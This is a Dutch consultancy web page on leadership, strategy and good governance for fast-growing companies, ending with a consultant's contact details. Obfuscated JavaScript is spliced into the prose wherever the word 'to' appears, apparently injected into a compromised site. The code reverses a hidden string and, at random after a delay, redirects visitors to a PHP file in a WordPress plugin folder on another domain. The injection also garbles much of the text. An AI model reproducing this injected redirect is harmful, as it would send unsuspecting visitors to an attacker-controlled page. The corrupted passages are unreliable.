Defining strategy and establishing outstanding results
The Netherlands currently counts around 10.000 fast growing companies, almost all facing obstacles when it comes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leadership, strategy, finance, ICT and market positioning. In addition toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that most businesses are also confronted with problems concerning succession, take-overs and finding the right business partners.
Ben Tiggelaar:
70 % of family businesses do not survive the first transfer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a new owner
80 % of project managers fail toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see the relation between projects and strategy
5 % of management is satisfied about digital transformation
26 % of all managers are under the impression that they determine the organisation culture
the majority fails:
60 % of implementing new technology
70 % of implementing new processes
81 % of cultural change
Boards that lack experience in leading a fast-growing company are confronted on a daily basis with strategic decisions. Decisions that may have serious impact for the future of their company. Command & control management styles are outdated and no longer a fit for fast changing environments. Teamwork and Authorship are a better foundation for a contemporary business. Research shows that successful businesses are often led by experienced managers coming from larger enterprises. Leaders with C-level management experience in complex environments.
What is good leadership?
- A clear course (‘dot on the horizon’) with waypoints (focus!)
- Create a stimulating work environment for all involved
- Capable leadership team that complements each other, leads by example, has an operational focus corrects when necessary
- Is committed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to building trust, value creation and continuity
- Sound decision making with checks and balances
- Based on the principles of Good Governance
- Compliance is a hygiene factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor
A clear course
- Connect long term horizon with short term goals
- Lay a solid foundation for future growth; in people, processes and (ICT) systems
- Provide a response toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a changing environment, including digital challenges
- Uses a formula for scaling up and global growth
- Is reviewed on a regular basis
Stimulating work environment
- An agile organization with an ‘always improve’ mentality
- Challenges people and provides room toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to grow
- Has the right people in the right place, helps them with their personal development and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to maximise their willingness toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to change.
- Connects technological opportunities with people’s talent, in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enlarge the companies’ performance power.
- Invests in the growth of people ánd organization
- Discusses (desired) behavior
- Has a culture of continuous learning and improvement, based on factual (management) information (KPI’s)
To all this belongs a governance model that fits the organization’s context as well as a future in which everything is constantly changing
Hans-Peter Evers
E $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to:hanspeterevers@tanera.com”>hanspeterevers@tanera.com
M +31 622 791 109